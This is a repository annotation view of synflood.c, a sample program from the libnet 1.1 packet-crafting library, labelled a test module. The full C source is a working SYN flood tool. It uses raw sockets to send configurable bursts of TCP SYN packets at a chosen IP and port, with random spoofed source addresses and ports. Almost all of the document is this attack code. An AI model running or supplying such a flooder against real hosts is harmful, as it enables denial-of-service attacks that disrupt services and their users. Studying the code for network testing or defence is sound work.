Annotation of embedaddon/libnet/sample/synflood.c, revision 1.1
1.1 ! misho 1: /*
! 2: * $Id: synflood.c,v 1.1.1.1 2003/06/26 21:55:11 route Exp $
! 3: *
! 4: * Poseidon++ (c) 1996 - 2003 Mike D. Schiffman <mike@infonexus.com>
! 5: * SYN flooder rewritten for no good reason. Again as libnet test module.
! 6: * Again for libnet 1.1.
! 7: * All rights reserved.
! 8: *
! 9: * Redistribution and use in source and binary forms, with or without
! 10: * modification, are permitted provided that the following conditions
! 11: * are met:
! 12: * 1. Redistributions of source code must retain the above copyright
! 13: * notice, this list of conditions and the following disclaimer.
! 14: * 2. Redistributions in binary form must reproduce the above copyright
! 15: * notice, this list of conditions and the following disclaimer in the
! 16: * documentation and/or other materials provided with the distribution.
! 17: *
! 18: * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
! 19: * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
! 20: * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
! 21: * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
! 22: * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
! 23: * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
! 24: * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
! 25: * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
! 26: * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
! 27: * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
! 28: * SUCH DAMAGE.
! 29: *
! 30: */
! 31:
! 32: #if (HAVE_CONFIG_H)
! 33: #include "../include/config.h"
! 34: #endif
! 35: #include "./libnet_test.h"
! 36:
! 37: struct t_pack
! 38: {
! 39: struct libnet_ipv4_hdr ip;
! 40: struct libnet_tcp_hdr tcp;
! 41: };
! 42:
! 43:
! 44: int
! 45: main(int argc, char **argv)
! 46: {
! 47: u_long dst_ip = 0;
! 48: u_long src_ip = 0;
! 49: u_short dst_prt = 0;
! 50: u_short src_prt = 0;
! 51: libnet_t *l;
! 52: libnet_ptag_t t;
! 53: u_char *cp;
! 54: char errbuf[LIBNET_ERRBUF_SIZE];
! 55: int i, c, packet_amt, burst_int, burst_amt, build_ip;
! 56:
! 57: packet_amt = 0;
! 58: burst_int = 0;
! 59: burst_amt = 1;
! 60:
! 61: printf("libnet 1.1 syn flooding: TCP[raw]\n");
! 62:
! 63: /*
! 64: * Initialize the library. Root priviledges are required.
! 65: */
! 66: l = libnet_init(
! 67: LIBNET_RAW4, /* injection type */
! 68: NULL, /* network interface */
! 69: errbuf); /* error buffer */
! 70:
! 71: if (l == NULL)
! 72: {
! 73: fprintf(stderr, "libnet_init() failed: %s", errbuf);
! 74: exit(EXIT_FAILURE);
! 75: }
! 76:
! 77: while((c = getopt(argc, argv, "t:a:i:b:")) != EOF)
! 78: {
! 79: switch (c)
! 80: {
! 81: /*
! 82: * We expect the input to be of the form `ip.ip.ip.ip.port`. We
! 83: * point cp to the last dot of the IP address/port string and
! 84: * then seperate them with a NULL byte. The optarg now points to
! 85: * just the IP address, and cp points to the port.
! 86: */
! 87: case 't':
! 88: if (!(cp = strrchr(optarg, '.')))
! 89: {
! 90: usage(argv[0]);
! 91: exit(EXIT_FAILURE);
! 92: }
! 93: *cp++ = 0;
! 94: dst_prt = (u_short)atoi(cp);
! 95: if ((dst_ip = libnet_name2addr4(l, optarg, 1)) == -1)
! 96: {
! 97: fprintf(stderr, "Bad IP address: %s\n", optarg);
! 98: exit(EXIT_FAILURE);
! 99: }
! 100: break;
! 101: case 'a':
! 102: packet_amt = atoi(optarg);
! 103: break;
! 104: case 'i':
! 105: burst_int = atoi(optarg);
! 106: break;
! 107: case 'b':
! 108: burst_amt = atoi(optarg);
! 109: break;
! 110: default:
! 111: usage(argv[0]);
! 112: exit(EXIT_FAILURE);
! 113: }
! 114: }
! 115:
! 116: if (!dst_prt || !dst_ip || !packet_amt)
! 117: {
! 118: usage(argv[0]);
! 119: exit(EXIT_FAILURE);
! 120: }
! 121:
! 122: libnet_seed_prand(l);
! 123:
! 124: for(t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;)
! 125: {
! 126: for (i = 0; i < packet_amt; i++)
! 127: {
! 128: t = libnet_build_tcp(
! 129: src_prt = libnet_get_prand(LIBNET_PRu16),
! 130: dst_prt,
! 131: libnet_get_prand(LIBNET_PRu32),
! 132: libnet_get_prand(LIBNET_PRu32),
! 133: TH_SYN,
! 134: libnet_get_prand(LIBNET_PRu16),
! 135: 0,
! 136: 0,
! 137: LIBNET_TCP_H,
! 138: NULL,
! 139: 0,
! 140: l,
! 141: t);
! 142:
! 143: if (build_ip)
! 144: {
! 145: build_ip = 0;
! 146: libnet_build_ipv4(
! 147: LIBNET_TCP_H + LIBNET_IPV4_H,
! 148: 0,
! 149: libnet_get_prand(LIBNET_PRu16),
! 150: 0,
! 151: libnet_get_prand(LIBNET_PR8),
! 152: IPPROTO_TCP,
! 153: 0,
! 154: src_ip = libnet_get_prand(LIBNET_PRu32),
! 155: dst_ip,
! 156: NULL,
! 157: 0,
! 158: l,
! 159: 0);
! 160: }
! 161: c = libnet_write(l);
! 162: if (c == -1)
! 163: {
! 164: fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l));
! 165: }
! 166: #if !(__WIN32__)
! 167: usleep(250);
! 168: #else
! 169: Sleep(250);
! 170: #endif
! 171:
! 172: printf("%15s:%5d ------> %15s:%5d\n",
! 173: libnet_addr2name4(src_ip, 1),
! 174: ntohs(src_prt),
! 175: libnet_addr2name4(dst_ip, 1),
! 176: dst_prt);
! 177: }
! 178: #if !(__WIN32__)
! 179: sleep(burst_int);
! 180: #else
! 181: Sleep(burst_int * 1000);
! 182: #endif
! 183: }
! 184: exit(EXIT_SUCCESS);
! 185: }
! 186:
! 187:
! 188: void
! 189: usage(char *nomenclature)
! 190: {
! 191: fprintf(stderr,
! 192: "\n\nusage: %s -t -a [-i -b]\n"
! 193: "\t-t target, (ip.address.port: 192.168.2.6.23)\n"
! 194: "\t-a number of packets to send per burst\n"
! 195: "\t-i packet burst sending interval (defaults to 0)\n"
! 196: "\t-b number packet bursts to send (defaults to 1)\n" , nomenclature);
! 197: }
! 198:
! 199:
! 200: /* EOF */
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